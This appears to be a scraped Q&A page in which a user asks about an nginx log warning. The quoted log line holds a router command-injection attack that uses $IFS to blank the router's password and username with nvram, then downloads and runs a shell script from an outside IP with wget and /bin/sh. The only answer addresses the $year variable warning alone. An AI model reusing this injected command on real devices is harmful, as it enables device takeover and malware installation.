【问题标题】:Warning in the Nginx log, need explanation of the requestNginx 日志中的警告,需要对请求进行解释
【发布时间】:2017-03-19 02:43:45
【问题描述】:

我在 nginx 的日志中有以下行:

2016/11/03 02:20:20 [warn] 30232#0: *372 using uninitialized "year" variable while logging request, client: 104.130.140.75, server: , request: "GET /cgi-bin/;nvram$IFS\set$IFS\http_passwd;nvram$IFS\set$IFS\http_username;nvram$IFS\commit;sleep$IFS\2;cd$IFS\/tmp;wget$IFS\http:\/\/104.130.140.75\/h\/wrt\/ugww.sh;chmod$IFS\777$IFS\/tmp/ugww.sh;/bin/sh$IFS\/tmp/ugww.sh HTTP/1.0 ", host: "XX.XX.XX.XXX:80"

主机是我的 IP 地址。

你能解释一下发生了什么吗?

【问题讨论】:

  • 可能是关于$year in log_format

标签: nginx


【解决方案1】:

检查 $year 变量的 log_format 参数。记录请求时未定义。

Nginx的变量列表:http://nginx.org/en/docs/varindex.html

【讨论】:

    猜你喜欢
    • 1970-01-01
    • 2014-12-19
    • 2021-09-02
    • 2022-01-20
    • 1970-01-01
    • 1970-01-01
    • 2021-11-13
    • 1970-01-01
    • 2018-10-07
    相关资源
    最近更新 更多